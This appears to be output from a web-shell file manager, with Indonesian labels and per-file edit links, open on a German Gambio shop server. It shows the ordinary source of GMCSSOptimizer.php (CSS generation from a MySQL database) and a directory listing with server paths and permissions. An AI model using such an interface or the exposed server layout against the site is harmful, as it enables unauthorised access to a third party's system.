WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / gm / classes / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes/GMCSSOptimizer.php (32.87 KB)
<?php
/* --------------------------------------------------------------
   GMCSSOptimizer.php 2011-10-20 gm
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2011 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/
?><?php

	class GMCSSOptimizer
	{
		/*
		*	@var string
		*/
		var $v_current_template;

		/**
		*	contains the css code
		*	@var string
		*/
		var $v_css;

		/**
		*	debug_mode
		*	@var boolean
		*/
		var $v_debug_mode;

		/**
		*	compression_rate
		*	@var string
		*/
		var $v_compression_rate;

		/**
		*	absolute path to the cache file
		*	@var string
		*/
		var $v_cache_file;

		/**
		*	css tidy object
		*	@var object
		*/
		var $v_css_tidy;

		/**
		*	contains elemnts/selectors which are not in use
		*	@var array
		*/
		var $v_spam = array();

		/**
		*	global combined styles
		*	@var array
		*/
		var $v_global_styles = array(

										/*

										'font-family'
										,
										'font-size'
										,
										'color'
										,
										'font-style'
										,
										'text-decoration'
										,
										'text-transform'
										,
										'font-weight'
										,
										'text-align'

										*/
		);

		/**
		*	contains the css code
		*	@var boolean
		*/
		var $v_style_edit;

		/**
		*	constructor
		*	@param boolean $p_debug_mode
		*/
		function GMCSSOptimizer($p_debug_mode, $p_style_edit)
		{

			$this->v_current_template = $_GET['current_template'];

			$this->v_debug_mode = $p_debug_mode;
			$this->style_edit = $p_style_edit;

			$this->v_cache_file = DIR_FS_CATALOG . 'cache/__dynamics.css';

			// $this->v_compression_rate = 'low_compression';
			$this->v_compression_rate = 'highest_compression';

			/* SPAM FILTER FOR UNUSED STYLES */

			$this->v_spam[] = 'menubox_gm_addons';

			return;
		}

		/**
		*	print css code
		*/
		function create_css()
		{
			if($this->v_debug_mode)
			{
				$this->create_css_plain();
			}
			else
			{
				$this->create_css_optimized();
			}
			return;
		}

		/**
		*	print css code plain
		*/
		function create_css_plain()
		{
			$t_css = '';

			$t_result = mysql_query("
									SELECT
										style_name		AS name,
										gm_css_style_id AS id
									FROM
										gm_css_style
									WHERE
										template_name = '" . addslashes(trim($this->v_current_template)) . "'
									ORDER BY
										gm_css_style_id
									");

			while($t_row = mysql_fetch_array($t_result))
			{
				$t_css .= $t_row['name'] . " {";

				$t_result_content = mysql_query('
												SELECT
													style_attribute AS attribute,
													style_value		AS value
												FROM
													gm_css_style_content
												WHERE
													gm_css_style_id = "' . $t_row['id'] . '"
												ORDER BY
													style_attribute
				');

				while(($t_row_content = mysql_fetch_array($t_result_content) ))
				{
					$t_value = $t_row_content['value'];

					if($this->v_current_template == 'gambio')
					{
						/* get backgroundcolor for footer */
						if($t_row['name'] == '.wrap_site' && $t_row_content['attribute'] == 'background-color')
						{
							$t_css_background_color = $t_value;
							$t_value = 'transparent';

							$t_css_background_colors_array = array();
							if(strlen($t_css_background_color) == 7)
							{
								$t_css_background_colors_array['r'] = hexdec(substr($t_css_background_color, 1, 2));
								$t_css_background_colors_array['g'] = hexdec(substr($t_css_background_color, 3, 2));
								$t_css_background_colors_array['b'] = hexdec(substr($t_css_background_color, 5, 2));

								// YUV brightness
								$t_css_background_brightness = $t_css_background_colors_array['r'] * 0.299 + $t_css_background_colors_array['g'] * 0.587 + $t_css_background_colors_array['b'] * 0.114;
							}
						}

						/* get background-image for footer */
						if($t_row['name'] == '.wrap_site' && $t_row_content['attribute'] == 'background-image')
						{
							$t_css_background_image = $t_value;
							$t_value = 'none';
						}

						/* get background-repeat for footer */
						if($t_row['name'] == '.wrap_site' && $t_row_content['attribute'] == 'background-repeat')
						{
							$t_css_background_repeat = $t_value;
						}

						/* get font color for footer */
						if($t_row['name'] == '#column_content' && $t_row_content['attribute'] == 'color')
						{
							$t_css_color = $t_value;

							$t_css_colors_array = array();
							if(strlen($t_css_color) == 7)
							{
								$t_css_colors_array['r'] = hexdec(substr($t_css_color, 1, 2));
								$t_css_colors_array['g'] = hexdec(substr($t_css_color, 3, 2));
								$t_css_colors_array['b'] = hexdec(substr($t_css_color, 5, 2));

								// YUV brightness
								$t_css_brightness = $t_css_colors_array['r'] * 0.299 + $t_css_colors_array['g'] * 0.587 + $t_css_colors_array['b'] * 0.114;
							}
						}
					}
					else
					{
						if($this->get_conf('SHOW_FOOTER') == 'true')
						{
							/* get backgroundcolor for footer */
							if($t_row['name'] == '#footer' && $t_row_content['attribute'] == 'background-color')
							{
								$t_css_background_color = $t_value;

								$t_css_background_colors_array = array();
								if(strlen($t_css_background_color) == 7)
								{
									$t_css_background_colors_array['r'] = hexdec(substr($t_css_background_color, 1, 2));
									$t_css_background_colors_array['g'] = hexdec(substr($t_css_background_color, 3, 2));
									$t_css_background_colors_array['b'] = hexdec(substr($t_css_background_color, 5, 2));

									// YUV brightness
									$t_css_background_brightness = $t_css_background_colors_array['r'] * 0.299 + $t_css_background_colors_array['g'] * 0.587 + $t_css_background_colors_array['b'] * 0.114;
								}
							}

							/* get font color for footer */
							if($t_row['name'] == '#footer' && $t_row_content['attribute'] == 'color')
							{
								$t_css_color = $t_value;

								$t_css_colors_array = array();
								if(strlen($t_css_color) == 7)
								{
									$t_css_colors_array['r'] = hexdec(substr($t_css_color, 1, 2));
									$t_css_colors_array['g'] = hexdec(substr($t_css_color, 3, 2));
									$t_css_colors_array['b'] = hexdec(substr($t_css_color, 5, 2));

									// YUV brightness
									$t_css_brightness = $t_css_colors_array['r'] * 0.299 + $t_css_colors_array['g'] * 0.587 + $t_css_colors_array['b'] * 0.114;
								}
							}
						}
						else
						{
							/* get backgroundcolor for footer */
							if($t_row['name'] == '#container_inner' && $t_row_content['attribute'] == 'background-color')
							{
								$t_css_background_color = $t_value;

								$t_css_background_colors_array = array();
								if(strlen($t_css_background_color) == 7)
								{
									$t_css_background_colors_array['r'] = hexdec(substr($t_css_background_color, 1, 2));
									$t_css_background_colors_array['g'] = hexdec(substr($t_css_background_color, 3, 2));
									$t_css_background_colors_array['b'] = hexdec(substr($t_css_background_color, 5, 2));

									// YUV brightness
									$t_css_background_brightness = $t_css_background_colors_array['r'] * 0.299 + $t_css_background_colors_array['g'] * 0.587 + $t_css_background_colors_array['b'] * 0.114;
								}
							}

							/* get font color for footer */
							if($t_row['name'] == '#container_inner' && $t_row_content['attribute'] == 'color')
							{
								$t_css_color = $t_value;

								$t_css_colors_array = array();
								if(strlen($t_css_color) == 7)
								{
									$t_css_colors_array['r'] = hexdec(substr($t_css_color, 1, 2));
									$t_css_colors_array['g'] = hexdec(substr($t_css_color, 3, 2));
									$t_css_colors_array['b'] = hexdec(substr($t_css_color, 5, 2));

									// YUV brightness
									$t_css_brightness = $t_css_colors_array['r'] * 0.299 + $t_css_colors_array['g'] * 0.587 + $t_css_colors_array['b'] * 0.114;
								}
							}
						}
					}

					$t_css .= "\n\t" . $t_row_content['attribute'] . ": " . $t_value . ";";
				}
				$t_css .= "\n}\n\n";
			}

			if(isset($t_css_background_brightness) && isset($t_css_brightness) && isset($t_css_background_colors_array))
			{
				define('GM_COLOR_DIFFERENCE', 80);

				if(max($t_css_background_brightness, $t_css_brightness) - min($t_css_background_brightness, $t_css_brightness) < GM_COLOR_DIFFERENCE)
				{
					if($t_css_background_brightness > 127)
					{
						$t_css_background_colors_array['r'] -= GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['g'] -= GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['b'] -= GM_COLOR_DIFFERENCE;

						if($t_css_background_colors_array['r'] < 0)
						{
							$t_css_background_colors_array['r'] = 0;
						}
						if($t_css_background_colors_array['g'] < 0)
						{
							$t_css_background_colors_array['g'] = 0;
						}
						if($t_css_background_colors_array['b'] < 0)
						{
							$t_css_background_colors_array['b'] = 0;
						}

						$t_css_background_colors_array['r'] = dechex(round($t_css_background_colors_array['r']));
						$t_css_background_colors_array['g'] = dechex(round($t_css_background_colors_array['g']));
						$t_css_background_colors_array['b'] = dechex(round($t_css_background_colors_array['b']));

						if(strlen($t_css_background_colors_array['r']) == 1)
						{
							$t_css_background_colors_array['r'] .= 0;
						}
						if(strlen($t_css_background_colors_array['g']) == 1)
						{
							$t_css_background_colors_array['g'] .= 0;
						}
						if(strlen($t_css_background_colors_array['b']) == 1)
						{
							$t_css_background_colors_array['b'] .= 0;
						}

						$t_css_color = '#' . $t_css_background_colors_array['r'] . $t_css_background_colors_array['g'] . $t_css_background_colors_array['b'];
					}
					else
					{
						$t_css_background_colors_array['r'] += GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['g'] += GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['b'] += GM_COLOR_DIFFERENCE;

						if($t_css_background_colors_array['r'] > 255)
						{
							$t_css_background_colors_array['r'] = 255;
						}
						if($t_css_background_colors_array['g'] > 255)
						{
							$t_css_background_colors_array['g'] = 255;
						}
						if($t_css_background_colors_array['b'] > 255)
						{
							$t_css_background_colors_array['b'] = 255;
						}

						$t_css_background_colors_array['r'] = dechex(round($t_css_background_colors_array['r']));
						$t_css_background_colors_array['g'] = dechex(round($t_css_background_colors_array['g']));
						$t_css_background_colors_array['b'] = dechex(round($t_css_background_colors_array['b']));

						if(strlen($t_css_background_colors_array['r']) == 1)
						{
							$t_css_background_colors_array['r'] .= 0;
						}
						if(strlen($t_css_background_colors_array['g']) == 1)
						{
							$t_css_background_colors_array['g'] .= 0;
						}
						if(strlen($t_css_background_colors_array['b']) == 1)
						{
							$t_css_background_colors_array['b'] .= 0;
						}

						$t_css_color = '#' . $t_css_background_colors_array['r'] . $t_css_background_colors_array['g'] . $t_css_background_colors_array['b'];
					}
				}
			}

			if($this->v_current_template == 'gambio')
			{
				if($t_css_background_image != 'none' && $t_css_background_image != 'url()')
				{
					/* BODY */
					$t_css .= "body {";
					$t_css .= "\n\t"	. "background-color: "	. $t_css_background_color	. ";";
					$t_css .= "\n\t"	. "background-image: "	. $t_css_background_image	. ";";
					$t_css .= "\n\t"	. "background-repeat: "	. $t_css_background_repeat	. ";";
					$t_css .= "\n"		. "}";
					$t_css .= "\n\n";

					/* HTML */
					$t_css .= "html .copyright, html .copyright a { ";
					$t_css .= "\n\t"	. "background-color: transparent;";
					$t_css .= "\n\t"	. "color: "			. $t_css_color				. ";";
					$t_css .= "\n"		. "}";
				}
				else
				{
					/* BODY */
					$t_css .= "body {";
					$t_css .= "\n\t"	. "background-color: "	. $t_css_background_color	. ";";
					$t_css .= "\n"		. "}";
					$t_css .= "\n\n";

					/* HTML */
					$t_css .= "html .copyright, html .copyright a { ";
					$t_css .= "\n\t"	. "background-color: "	. $t_css_background_color	. ";";
					$t_css .= "\n\t"	. "color: "			. 		  $t_css_color				. ";";
					$t_css .= "\n"		. "}";
				}


				$t_get_underline_setting = mysql_query("SELECT gm_value
																		FROM gm_configuration
																		WHERE
																			gm_key = 'GM_UNDERLINE_LINKS'
																			AND gm_value = 'true'");
				if(mysql_num_rows($t_get_underline_setting) > 0)
				{
					$t_css .= 'a, .product_info_link { ';
					$t_css .= "\n\t"	. 'text-decoration: none !important;';
					$t_css .= "\n"		. "}";
					$t_css .= "\n\n";
					$t_css .= 'a:hover, .product_info_link:hover { ';
					$t_css .= "\n\t"	. 'text-decoration: underline !important;';
					$t_css .= "\n"		. "}";
				}
			}
			else
			{
				if($this->get_conf('SHOW_FOOTER') == 'true')
				{
					$t_css .= "body #footer_copyright, body #footer_copyright a { ";
					$t_css .= "\n\t"	. "color: "			. $t_css_color				. ";";
					$t_css .= "\n"		. "}";
				}
				else
				{
					$t_css .= "body #shopsoftware_by_gambio p, body #shopsoftware_by_gambio a { ";
					$t_css .= "\n\t"	. "color: "			. $t_css_color				. ";";
					$t_css .= "\n"		. "}";
				}
			}
			
			$this->v_css = $t_css;

			return;
		}

		/**
		*	print css code optimized
		*/
		function create_css_optimized()
		{
			$t_css = '';

			/* combining */
			if(count($this->v_global_styles) > 0)
			{
				$t_global_styles				= array();
				$t_global_styles				= $this->global_font_style();
				$t_global_styles['SELECTORS']	= $this->combine_selectors($t_global_styles);

				foreach($t_global_styles['SELECTORS'] as $t_key => $t_value)
				{
					$t_combine .= $t_key . "\n,";
				}
				$t_combine = substr($t_combine, 0, strlen($t_combine)-1);
				$t_combine .= "{";

				foreach($this->v_global_styles as $t_key => $t_value)
				{
					$t_combine .= $t_value . ":" . $t_global_styles[$t_value] . ";";
				}

				$t_combine .= "}";
				$t_css = $t_combine;
			}


			$this->v_css_tidy = new csstidy();

			$this->v_css_tidy->set_cfg('remove_bslash',					true);
			$this->v_css_tidy->set_cfg('compress_colors',				true);
			$this->v_css_tidy->set_cfg('compress_font-weight',			true);
			$this->v_css_tidy->set_cfg('lowercase_s',					false);
			$this->v_css_tidy->set_cfg('optimise_shorthands',			2);
			$this->v_css_tidy->set_cfg('remove_last_;',					true);
			$this->v_css_tidy->set_cfg('case_properties',				1);
			$this->v_css_tidy->set_cfg('sort_properties',				true);
			$this->v_css_tidy->set_cfg('sort_selectors',				false);
			$this->v_css_tidy->set_cfg('merge_selectors',				2);
			$this->v_css_tidy->set_cfg('discard_invalid_properties',	false);
			$this->v_css_tidy->set_cfg('css_level',						'CSS1.0');
			$this->v_css_tidy->set_cfg('preserve_css',					false);
			$this->v_css_tidy->set_cfg('timestamp',						false);

			$this->v_css_tidy->load_template($this->v_compression_rate);

			$t_result = mysql_query("
									SELECT
										style_name		AS name,
										gm_css_style_id AS id
									FROM
										gm_css_style
									WHERE
										template_name = '" . addslashes(trim($this->v_current_template)) . "'
									ORDER BY
										gm_css_style_id
									");

			while($t_row = mysql_fetch_array($t_result))
			{
				if(!$this->inactive_selector($t_row['name']) && $this->is_spam($t_row['name']) == false)
				{
					$t_css .= $t_row['name'] ."{";

					$t_result_content = mysql_query('
													SELECT
														style_attribute AS attribute,
														style_value		AS value
													FROM
														gm_css_style_content
													WHERE
														gm_css_style_id = "' . $t_row['id'] . '"
													ORDER BY
														style_attribute
					');

					while($t_row_content = mysql_fetch_array($t_result_content))
					{
						if(@in_array($t_row['id'], $t_global_styles['SELECTORS']) && $t_global_styles[$t_row_content['attribute']] == $t_row_content['value'])
						{
						}
						else
						{
							$t_value = $t_row_content['value'];

							if($this->v_current_template == 'gambio')
							{
								/* get backgroundcolor for footer */
								if($t_row['name'] == '.wrap_site' && $t_row_content['attribute'] == 'background-color')
								{
									$t_css_background_color = $t_value;
									$t_value = 'transparent';

									$t_css_background_colors_array = array();
									if(strlen($t_css_background_color) == 7)
									{
										$t_css_background_colors_array['r'] = hexdec(substr($t_css_background_color, 1, 2));
										$t_css_background_colors_array['g'] = hexdec(substr($t_css_background_color, 3, 2));
										$t_css_background_colors_array['b'] = hexdec(substr($t_css_background_color, 5, 2));

										// YUV brightness
										$t_css_background_brightness = $t_css_background_colors_array['r'] * 0.299 + $t_css_background_colors_array['g'] * 0.587 + $t_css_background_colors_array['b'] * 0.114;
									}
								}

								/* get background-image for footer */
								if($t_row['name'] == '.wrap_site' && $t_row_content['attribute'] == 'background-image')
								{
									$t_css_background_image = $t_value;
									$t_value = 'none';
								}

								/* get background-repeat for footer */
								if($t_row['name'] == '.wrap_site' && $t_row_content['attribute'] == 'background-repeat')
								{
									$t_css_background_repeat = $t_value;
								}

								/* get font color for footer */
								if($t_row['name'] == '#column_content' && $t_row_content['attribute'] == 'color')
								{
									$t_css_color = $t_value;

									$t_css_colors_array = array();
									if(strlen($t_css_color) == 7)
									{
										$t_css_colors_array['r'] = hexdec(substr($t_css_color, 1, 2));
										$t_css_colors_array['g'] = hexdec(substr($t_css_color, 3, 2));
										$t_css_colors_array['b'] = hexdec(substr($t_css_color, 5, 2));

										// YUV brightness
										$t_css_brightness = $t_css_colors_array['r'] * 0.299 + $t_css_colors_array['g'] * 0.587 + $t_css_colors_array['b'] * 0.114;
									}
								}
							}
							else
							{
								if($this->get_conf('SHOW_FOOTER') == 'true')
								{
									/* get backgroundcolor for footer */
									if($t_row['name'] == '#footer' && $t_row_content['attribute'] == 'background-color')
									{
										$t_css_background_color = $t_value;

										$t_css_background_colors_array = array();
										if(strlen($t_css_background_color) == 7)
										{
											$t_css_background_colors_array['r'] = hexdec(substr($t_css_background_color, 1, 2));
											$t_css_background_colors_array['g'] = hexdec(substr($t_css_background_color, 3, 2));
											$t_css_background_colors_array['b'] = hexdec(substr($t_css_background_color, 5, 2));

											// YUV brightness
											$t_css_background_brightness = $t_css_background_colors_array['r'] * 0.299 + $t_css_background_colors_array['g'] * 0.587 + $t_css_background_colors_array['b'] * 0.114;
										}
									}

									/* get font color for footer */
									if($t_row['name'] == '#footer' && $t_row_content['attribute'] == 'color')
									{
										$t_css_color = $t_value;

										$t_css_colors_array = array();
										if(strlen($t_css_color) == 7)
										{
											$t_css_colors_array['r'] = hexdec(substr($t_css_color, 1, 2));
											$t_css_colors_array['g'] = hexdec(substr($t_css_color, 3, 2));
											$t_css_colors_array['b'] = hexdec(substr($t_css_color, 5, 2));

											// YUV brightness
											$t_css_brightness = $t_css_colors_array['r'] * 0.299 + $t_css_colors_array['g'] * 0.587 + $t_css_colors_array['b'] * 0.114;
										}
									}
								}
								else
								{
									/* get backgroundcolor for footer */
									if($t_row['name'] == '#container_inner' && $t_row_content['attribute'] == 'background-color')
									{
										$t_css_background_color = $t_value;

										$t_css_background_colors_array = array();
										if(strlen($t_css_background_color) == 7)
										{
											$t_css_background_colors_array['r'] = hexdec(substr($t_css_background_color, 1, 2));
											$t_css_background_colors_array['g'] = hexdec(substr($t_css_background_color, 3, 2));
											$t_css_background_colors_array['b'] = hexdec(substr($t_css_background_color, 5, 2));

											// YUV brightness
											$t_css_background_brightness = $t_css_background_colors_array['r'] * 0.299 + $t_css_background_colors_array['g'] * 0.587 + $t_css_background_colors_array['b'] * 0.114;
										}
									}

									/* get font color for footer */
									if($t_row['name'] == '#container_inner' && $t_row_content['attribute'] == 'color')
									{
										$t_css_color = $t_value;

										$t_css_colors_array = array();
										if(strlen($t_css_color) == 7)
										{
											$t_css_colors_array['r'] = hexdec(substr($t_css_color, 1, 2));
											$t_css_colors_array['g'] = hexdec(substr($t_css_color, 3, 2));
											$t_css_colors_array['b'] = hexdec(substr($t_css_color, 5, 2));

											// YUV brightness
											$t_css_brightness = $t_css_colors_array['r'] * 0.299 + $t_css_colors_array['g'] * 0.587 + $t_css_colors_array['b'] * 0.114;
										}
									}
								}
							}

							/* compress colors */
							if(strstr($t_row_content['attribute'], "color"))
							{
								$t_value = $this->v_css_tidy->optimise->cut_color($t_value);
							}

							$t_css .= $t_row_content['attribute'] .":" . $t_value . ";";
						}
					}
					$t_css .= "}";
				}
			}

			if(isset($t_css_background_brightness) && isset($t_css_brightness) && isset($t_css_background_colors_array))
			{
				define('GM_COLOR_DIFFERENCE', 80);
				if(max($t_css_background_brightness, $t_css_brightness) - min($t_css_background_brightness, $t_css_brightness) < GM_COLOR_DIFFERENCE)
				{
					if($t_css_background_brightness > 127)
					{
						$t_css_background_colors_array['r'] -= GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['g'] -= GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['b'] -= GM_COLOR_DIFFERENCE;

						if($t_css_background_colors_array['r'] < 0)
						{
							$t_css_background_colors_array['r'] = 0;
						}
						if($t_css_background_colors_array['g'] < 0)
						{
							$t_css_background_colors_array['g'] = 0;
						}
						if($t_css_background_colors_array['b'] < 0)
						{
							$t_css_background_colors_array['b'] = 0;
						}

						$t_css_background_colors_array['r'] = dechex(round($t_css_background_colors_array['r']));
						$t_css_background_colors_array['g'] = dechex(round($t_css_background_colors_array['g']));
						$t_css_background_colors_array['b'] = dechex(round($t_css_background_colors_array['b']));

						if(strlen($t_css_background_colors_array['r']) == 1)
						{
							$t_css_background_colors_array['r'] .= 0;
						}
						if(strlen($t_css_background_colors_array['g']) == 1)
						{
							$t_css_background_colors_array['g'] .= 0;
						}
						if(strlen($t_css_background_colors_array['b']) == 1)
						{
							$t_css_background_colors_array['b'] .= 0;
						}

						$t_css_color = '#' . $t_css_background_colors_array['r'] . $t_css_background_colors_array['g'] . $t_css_background_colors_array['b'];
					}
					else
					{
						$t_css_background_colors_array['r'] += GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['g'] += GM_COLOR_DIFFERENCE;
						$t_css_background_colors_array['b'] += GM_COLOR_DIFFERENCE;

						if($t_css_background_colors_array['r'] > 255)
						{
							$t_css_background_colors_array['r'] = 255;
						}
						if($t_css_background_colors_array['g'] > 255)
						{
							$t_css_background_colors_array['g'] = 255;
						}
						if($t_css_background_colors_array['b'] > 255)
						{
							$t_css_background_colors_array['b'] = 255;
						}

						$t_css_background_colors_array['r'] = dechex(round($t_css_background_colors_array['r']));
						$t_css_background_colors_array['g'] = dechex(round($t_css_background_colors_array['g']));
						$t_css_background_colors_array['b'] = dechex(round($t_css_background_colors_array['b']));

						if(strlen($t_css_background_colors_array['r']) == 1)
						{
							$t_css_background_colors_array['r'] .= 0;
						}
						if(strlen($t_css_background_colors_array['g']) == 1)
						{
							$t_css_background_colors_array['g'] .= 0;
						}
						if(strlen($t_css_background_colors_array['b']) == 1)
						{
							$t_css_background_colors_array['b'] .= 0;
						}

						$t_css_color = '#' . $t_css_background_colors_array['r'] . $t_css_background_colors_array['g'] . $t_css_background_colors_array['b'];
					}
				}
			}

			if($this->v_current_template == 'gambio')
			{
				if($t_css_background_image != 'none' &&
				$t_css_background_image != 'url()')
				{
					/* BODY */
					$t_css .= "body{";
					$t_css .= "background-color:" . 	$t_css_background_color . ";";
					$t_css .= "background-image:" . 	$t_css_background_image . ";";
					$t_css .= "background-repeat:" . $t_css_background_repeat . ";";
					$t_css .= "}";

					/* HTML */
					$t_css .= "html .copyright,html .copyright a{";
					$t_css .= "background-color:transparent;";
					$t_css .= "color:"				. $t_css_color				. ";";
					$t_css .= "}";
				}
				else
				{
					/* BODY */
					$t_css .= "body{";
					$t_css .= "background-color:" . $t_css_background_color . ";";
					$t_css .= "}";


					/* HTML */
					$t_css .= "html .copyright,html .copyright a{";
					$t_css .= "background-color:"	. $t_css_background_color	. ";";
					$t_css .= "color:"				. $t_css_color				. ";";
					$t_css .= "}";
				}

				$t_get_underline_setting = mysql_query("SELECT gm_value
																		FROM gm_configuration
																		WHERE
																			gm_key = 'GM_UNDERLINE_LINKS'
																			AND gm_value = 'true'");
				if(mysql_num_rows($t_get_underline_setting) > 0)
				{
					$t_css .= 'a,.product_info_link{text-decoration:none !important}a:hover,.product_info_link:hover{text-decoration:underline !important}';
				}
			}
			else
			{
				if($this->get_conf('SHOW_FOOTER') == 'true')
				{
					$t_css .= "body #footer_copyright,body #footer_copyright a{";
					$t_css .= "color:" . $t_css_color . ";";
					$t_css .= "}";
				}
				else
				{
					$t_css .= "body #shopsoftware_by_gambio p,body #shopsoftware_by_gambio a{";
					$t_css .= "color:" . $t_css_color . ";";
					$t_css .= "}";
				}
			}

			$this->v_css_tidy->parse($t_css);

			$this->v_css = $this->v_css_tidy->print->plain();

			unset($this->v_css_tidy);

			return;
		}

		/**
		*	check if style can be combined
		*	@param array	$p_global_styles
		*	@param int		$p_id
		*	@param string	$p_attribute
		*	@param string	$p_value
		*	@return boolean
		*/
		function is_compatible($p_global_styles, $p_id, $p_attribute, $p_value)
		{

			if(!in_array($p_id, $p_global_styles['SELECTORS']) && $p_global_styles[$p_attribute] != $p_value)
			{
				return false;
			}
			else
			{
				return true;
			}
		}

		/**
		*	@param	array $p_styles
		*	@return array
		*/
		function combine_selectors($p_styles)
		{
			$t_styles		= $p_styles;
			$t_selectors	= array();

			$i = 0;
			foreach($t_styles as $t_key => $t_value)
			{
				if($i > 0)
				{
					$t_sql .= " AND ";
				}
				$t_sql .= "
							gcs.gm_css_style_id
						IN
						(
							SELECT
								gcsc.gm_css_style_id
							FROM
								gm_css_style_content gcsc
							WHERE
								gcsc.style_attribute	= '" . $t_key	. "'
							AND
								gcsc.style_value		= '" . $t_value	. "'
						)";
				$i++;
			}


			$t_result = mysql_query("
									SELECT
										gcs.style_name		AS name,
										gcs.gm_css_style_id AS id
									FROM
										gm_css_style gcs
									WHERE
										gcs.template_name = '" . addslashes(trim($this->v_current_template)) . "' AND
										" .	$t_sql . "
			");

			if(mysql_num_rows($t_result) > 0)
			{
				while($t_row = mysql_fetch_array($t_result))
				{
					if(strlen($t_row['name']) <100)
					{
						$t_selectors['SELECTORS'][$t_row['name']] = $t_row['id'];
					}
				}

				return $t_selectors['SELECTORS'];
			}
			else
			{
				return false;
			}
		}

		/**
		*	search for global font styles defined in array $v_global_styles
		*	@return array
		*/
		function global_font_style()
		{
			$t_global_styles = array();
			foreach($this->v_global_styles as $t_key => $t_value)
			{
				$t_result = mysql_query(
										"SELECT
											style_value AS value,
											count(gm_css_style_content_id) AS count
										FROM
											gm_css_style_content
										WHERE
											style_attribute = '" . $t_value . "'
										GROUP BY
											style_attribute,
											style_value
										ORDER BY
											count DESC
										LIMIT 1
				");

				if(mysql_num_rows($t_result) == 1)
				{
					$t_row = mysql_fetch_array($t_result);

					$t_global_styles[$t_value] = $t_row['value'];
				}
			}
			return $t_global_styles;
		}

		/**
		*	search for menuboxes box_status = 1
		*	@return array
		*/
		function inactive_menuboxes()
		{
			$t_inactive_menuboxes = array();

			if($this->style_edit || is_dir(DIR_FS_CATALOG . 'StyleEdit/') === false)
			{
				return $t_inactive_menuboxes;
			}

			$t_result = mysql_query(
									"SELECT
										box_name
									AS
										name
									FROM
										gm_boxes
									WHERE
										box_status = '0' AND
										box_name != 'admin' AND
										template_name = '" . addslashes(trim($this->v_current_template)) . "'
									ORDER BY
										box_name
									ASC
			");

			if(mysql_num_rows($t_result) > 0)
			{
				while($t_row = mysql_fetch_array($t_result))
				{
					if($t_row['name'] == 'bestsellers')
					{
						$t_row['name'] = 'best_sellers';
					}

					if($t_row['name'] == 'add_quickie')
					{
						$t_row['name'] = 'add_a_quickie';
					}

					$t_inactive_menuboxes[] = $t_row['name'];
				}
			}

			return $t_inactive_menuboxes;
		}

		/**
		*	check if style selector is part of a de/activated menubox
		*	@param	string $p_selector
		*	@return array
		*/
		function inactive_selector($p_selector)
		{
			/* search inactive modul ebay */
			if(strstr($p_selector, 'box_ebay'))
			{
				$t_result = mysql_query(
										"SELECT
											box_name
										AS
											name
										FROM
											gm_boxes
										WHERE
											box_status	= '0' AND
											box_name	= 'gm_ebay' AND
											template_name = '" . addslashes(trim($this->v_current_template)) . "'
										ORDER BY
											box_name
										ASC
				");

				if((int)mysql_num_rows($t_result) == 1)
				{
					return true;
				}
				else
				{
					return false;
				}
			}

			/* search for inactive menuboxes */
			$t_inactive_menuboxes = $this->inactive_menuboxes();
			if(strstr($p_selector, 'menubox'))
			{
				$t_selector_array = explode(' ', $p_selector);
				if(!empty($t_selector_array))
				{
					$t_key = array_search('menubox', $t_selector_array);
					$p_selector = $t_selector_array[$t_key];
				}

				foreach($t_inactive_menuboxes as $t_key => $t_value)
				{
					if(strstr($p_selector, $t_value))
					{
						if( ($t_value == 'manufacturers' && strpos($p_selector, 'manufacturers_info') !== false)
							|| ($t_value == 'trusted' && strpos($p_selector, 'gm_trusted_shops_widget') !== false) )
						{
							continue;
						}
						else
						{
							return true;
						}
					}
				}
			}
			return false;
		}


		/**
		*	check if selector is spam
		*	@return boolean
		*/

		function is_spam($p_selector)

		{

			foreach($this->v_spam as $t_key => $t_value)
			{
				if(strstr($p_selector, $t_value))
				{
					return true;
				}
			}
			return false;
		}

		/**
		*	save css code to file
		*/
		function save_css()
		{
			$t_fopen = fopen($this->v_cache_file, 'w+');
			fwrite($t_fopen, $this->v_css);
			fclose($t_fopen);
			return;
		}

		/**
		*	get method
		*	@return string
		*/
		function get_css()
		{
			return $this->v_css;
		}

		/**
		*	get method
		*	@return string
		*/
		function get_conf($p_key)
		{
			$c_key = mysql_real_escape_string($p_key);
			$t_value = '';

			$t_query = mysql_query("SELECT gm_value
									FROM gm_configuration
									WHERE
										gm_key = '" . $c_key . "'
										LIMIT 1");
			if(mysql_num_rows($t_query) == 1)
			{
				$t_result_array = mysql_fetch_array($t_query);
				$t_value = $t_result_array['gm_value'];
			}

			return $t_value;
		}
	}
?>
namawaktuukuranownerpermaksi
..
csstidy/ 2013-11-12 21:03125.89 KB 76129f60960:kundendxwrx-rx-r
lib/ 2013-11-12 21:03601.96 KB 76129f60960:kundendxwrx-rx-r
ErrorHandler.php 2013-11-12 21:0310.34 KB 76129f60960:kunden-xw-x-----
edt
FileLog.php 2013-11-12 21:022.93 KB 76129f60960:kunden-xw-x-----
edt
GMAltText.php 2013-11-12 21:032.94 KB 76129f60960:kunden-xw-x-----
edt
GMAttributesCalculator.php 2013-11-12 21:034.65 KB 76129f60960:kunden-xw-x-----
edt
GMCSSMonitor.php 2013-11-12 21:0313.19 KB 76129f60960:kunden-xw-x-----
edt
GMCSSOptimizer.php 2013-11-12 21:0332.87 KB 76129f60960:kunden-xw-x-----
edt
GMCat.php 2013-11-12 21:039.08 KB 76129f60960:kunden-xw-x-----
edt
GMCounter.php 2013-11-12 21:0317.05 KB 76129f60960:kunden-xw-x-----
edt
GMEbay.php 2013-11-12 21:029.16 KB 76129f60960:kunden-xw-x-----
edt
GMGMotion.php 2013-11-12 21:0224.31 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintCartManager.php 2013-11-12 21:0314.66 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintConfiguration.php 2013-11-12 21:032.17 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintContentManager.php 2013-11-12 21:028.79 KB 76129f60960:kunden-xw-x-----
edt
